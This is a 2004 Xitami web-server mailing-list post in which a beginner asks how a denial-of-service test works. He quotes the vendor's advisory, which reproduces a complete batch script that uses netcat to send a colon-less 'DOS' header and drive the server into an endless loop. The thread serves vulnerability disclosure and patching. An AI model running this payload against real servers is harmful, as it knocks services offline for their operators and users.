[Xitami] Xitami DOS reported

[xitami@lists.xitami.org]

Hello Xitami Forum,   :) :)

I am a newbie at Web stuff and Xitami. I am trying to come up to speed with all the new stuff (compilers; APIs; WEB Pages; Web servers and CGI; etc.).

I understand the DOS script code below using the nc.exe and have it running on my LAN from a client to the Xitami Server. 

The code below runs as expected and a Browser can continue to use the Xitami Server.
So, since I am new to Xitami, Web Pages, Headers, etc. it appears I need to understand how the MALFORMED HEADER defined below is created in the code below?????


Results of running the test code below:

The test code was executed with the following:
 
             test www.gsc.com 80

For testing, the www.gsc.com is maintained locally in the hosts file and points to the IP address of the Xitami server. And, the above execution of the test sends back the contents of the web page defined for www.gsc.com.

Even if the actual IP address of the Xitami Server is used it sends back error messages:

           403 forbidden       
           You are not authorized to access this reasource

And, the Xitami Server can continue to be accessed by a Browser.


I took a stab at modifying the line: echo HOST: %1>>http.tmp and removed the : from HOST:
But, Xitami sent back the error: 

           403 forbidden       
           You are not authorized to access this reasource

And, Xitami continues to work from a Browser as expected.


Thanks for your time, help, and advise!!!! :) :)

Jerry


-------------- Original message from Pieter Hintjens : -------------- 
> Hi, 
> 
> A serious denial of service has been found in Xitami. This is the report: 
> 
> -------------------------------------------------------------- 
> Application: Xitami Web Server 
> Vendors: http://www.xitami.com/xiopen_2_5.zip 
> Version: v2.5c1 
> Platforms: Windows 
> Bug: D.O.S 
> Date: 2004-07-15 
> Author: CoolICE 
> e-mail: CoolICE#China.com 
> ================ 
> Content: 
> ---------------- 
> TestCode: 
> @echo off 
> :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
> :Application: Xitami Web Server 
> :Vendors: http://www.xitami.com/xiopen_2_5.zip 
> :Version: v2.5c1 
> :Platforms: Windows 
> :Bug: D.O.S 
> :Date: 2004-07-15 
> :Author: CoolICE 
> :e-mail: CoolICE#China.com 
> :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
> if '%1'=='' echo Usage:%0 target [port]&&goto :eof 
> set PORT=80 
> if not '%2'=='' set PORT=%2 
> for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need 
> nc. 
> exe&&goto :eof 
> echo GET / HTTP/1.0>http.tmp 
> echo HOST: %1>>http.tmp 
> echo DOS>>http.tmp 
> echo.>>http.tmp 
> nc -w 10 %1 %PORT% < http.tmp 
> del http.tmp 
> -------------------------------------------------------------- 
> 
> The denial of service is this: a malformed header (without the ':') causes the 
> server to enter an endless loop. 
> 
> This DOS affects all versions of Xitami. For those building from source, the 
> affected file is smthttpl.c, and the patch is in the function 
> http_parse_header: 
> 
> We are in the process of releasing new binaries, which will be on Xitami.com 
> in a very short while. 
> 
> -- 
> Pieter Hintjens 
> iMatix Corporation 
>